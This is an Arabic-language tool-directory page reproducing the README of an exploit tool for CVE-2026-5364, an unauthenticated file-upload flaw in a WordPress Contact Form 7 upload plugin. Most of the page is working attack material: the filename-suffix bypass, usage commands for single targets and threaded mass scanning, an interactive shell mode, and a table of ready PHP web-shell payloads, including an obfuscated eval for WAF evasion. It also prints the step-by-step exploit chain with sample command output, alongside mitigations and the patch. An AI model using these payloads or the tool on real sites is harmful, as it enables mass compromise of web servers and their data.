Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-5364 — CVE-2026-5364 هي ثغرة أمنية من نوع تحميل ملف عشوائي غير مصادق عليه بتقييم CVSS 8.1 (عالي) في إضافة Drag and Drop File Upload for Contact Form 7 | Kitploit
أدوات/GitHubGitHub/xxconi/cve-2026-5364
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقتطوير الحمولات
GitHubxxconi/cve-2026-5364

CVE-2026-5364

CVE-2026-5364 هي ثغرة أمنية من نوع تحميل ملف عشوائي غير مصادق عليه بتقييم CVSS 8.1 (عالي) في إضافة Drag and Drop File Upload for Contact Form 7

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-5364

CVE-2026-5364 هي ثغرة أمنية من نوع رفع ملف تعسفي غير مصادق عليه (CVSS 8.1 - عالية) في إضافة Drag and Drop File Upload for Contact Form 7

CVE-2026-5364 — CF7 Drag & Drop File Upload RCE

رفع ملف تعسفي غير مصادق عليه عبر تجاوز sanitize_file_name() CVSS 8.1 (عالية) | المتأثر: <= 1.1.3 | المصحح: 1.1.4


📋 نظرة عامة

الحقلالقيمة
CVE IDCVE-2026-5364
الإضافةDrag and Drop File Upload for Contact Form 7
الاسم الثابتdrag-and-drop-file-upload-for-contact-form-7
CVSS8.1 (عالية)
المتجهCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
المتأثر<= 1.1.3
المصحح1.1.4
الباحثThomas Sanzey
النشر23 أبريل 2026

🔍 ملخص الثغرة

الإضافة تقرأ امتداد الملف قبل تنقية sanitize_file_name(). المهاجم يرفع ملفًا باسم shell.php$:

root@kitploit:~
pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← يتجاوز القائمة السوداء
sanitize_file_name('shell.php$')            →  'shell.php'  ← يُحفظ كـ PHP

سلسلة من ثلاث نقاط ضعف مستقلة:

  1. قائمة السماح التي يتحكم بها المهاجم — معامل POST type يُقرأ من المستخدم
  2. الامتداد قبل التنقية — تُطبق pathinfo() على اسم الملف الخام
  3. التنقية المتأخرة — sanitize_file_name() داخل wp_unique_filename() تزيل الحرف $

⚙️ التثبيت

root@kitploit:~
git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

المتطلبات

  • Python 3.8+
  • مكتبة requests
  • الهدف: WordPress + CF7 D&D Upload <= 1.1.3 + صفحة تحتوي على نموذج CF7

🚀 الاستخدام

هدف واحد

root@kitploit:~
# استغلال أساسي (أمر id)
python CVE-2026-5364.py -u https://target.com

# أمر مخصص
python CVE-2026-5364.py -u https://target.com -c "whoami"

# شيل تفاعلي
python CVE-2026-5364.py -u https://target.com --interactive

# نوع شيل مختلف
python CVE-2026-5364.py -u https://target.com --shell exec

# الإخراج المفصل + بروكسي
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

المسح الجماعي

root@kitploit:~
# مسح بـ 20 خيطًا
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# تجربة الإصدارات المصححة أيضًا
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# حفظ النتائج في ملف
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

جميع المعاملات

root@kitploit:~
الهدف:
  -u, --url URL         عنوان URL لهدف واحد
  -l, --list FILE       قائمة الأهداف (عنوان URL لكل سطر)

الاستغلال:
  -c, --cmd CMD         أمر نظام (الافتراضي: id)
  --shell TYPE          نوع الشيل: basic|exec|pass|eval|info
  -i, --interactive     فتح شيل تفاعلي
  --no-skip-patched     محاولة الإصدارات المصححة أيضًا

المسح:
  -t, --threads N       عدد الخيوط (الافتراضي: 10)
  --timeout S           المهلة بالثواني (الافتراضي: 15)
  --proxy URL           عنوان البروكسي

الإخراج:
  -o, --output FILE     ملف النتائج
  -v, --verbose         إخراج مفصّل
  --no-color            إخراج بدون ألوان

🐚 أنواع الشيل

النوعالحمولةالاستخدام
basic<?php system($_GET["cmd"]); ?>للأغراض العامة
exec<?php echo shell_exec($_GET["cmd"]); ?>إخراج كامل
pass<?php passthru($_GET["cmd"]); ?>إخراج ثنائي
eval<?php @eval(base64_decode($_POST["x"])); ?>مخفي / تجاوز WAF
info<?php phpinfo(); ?>معلومات PHP

🔬 التفاصيل التقنية

سلسلة الاستغلال

root@kitploit:~
1. كشف Nonce
   └─ wp_localize_script() متاح لكل زائر
      GET /contact/ → داخل HTML: "nonce":"abc123def4"

2. تحميل الشيل
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← غير موجود في القائمة السوداء
      file=shell.php$    ← sanitize_file_name() → shell.php

3. الحصول على URL
   └─ الرد: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

أحرف التجاوز

الأحرف التي تزيلها sanitize_file_name():

root@kitploit:~
$  %  ~  `  (مسافة)

الأداة تجرب جميع أحرف التجاوز تلقائيًا.


🛡️ العوامل المخففة

العاملالتأثير
.htaccess في Apache (Content-Disposition: attachment)يمنع تشغيل PHP
Nginx / LiteSpeed.htaccess غير فعال — RCE ممكنة
اسم ملف عشوائي (uniqid())غير فعال لأن رد AJAX يعيد URL
Nonceحماية CSRF — ليس مصادقة، غير فعال

🩹 الحل

قم بتحديث الإضافة إلى 1.1.4 أو أحدث.

root@kitploit:~
# التحديث عبر WP-CLI
wp plugin update drag-and-drop-file-upload-for-contact-form-7

تصحيح الكود (1.1.4)

root@kitploit:~
// خطأ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// صحيح (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// معامل type يُقرأ الآن من إعداد المسؤول
$type = $this->get_admin_allowed_types($form_id);  // ليس من POST

⚠️ إخلاء مسؤولية قانوني

تم تطوير هذه الأداة لأغراض البحث الأمني التعليمي والدفاعي فقط. استخدامها على أنظمة غير مصرح بها محظور وقد يؤدي إلى عواقب قانونية. استخدمها فقط على الأنظمة التي حصلت على إذن لاختبارها.


📄 المراجع

  • إشعار Wordfence
  • صفحة الإضافة على WordPress
  • NVD CVE-2026-5364
  • وثائق sanitize_file_name()
تنزيل الأداة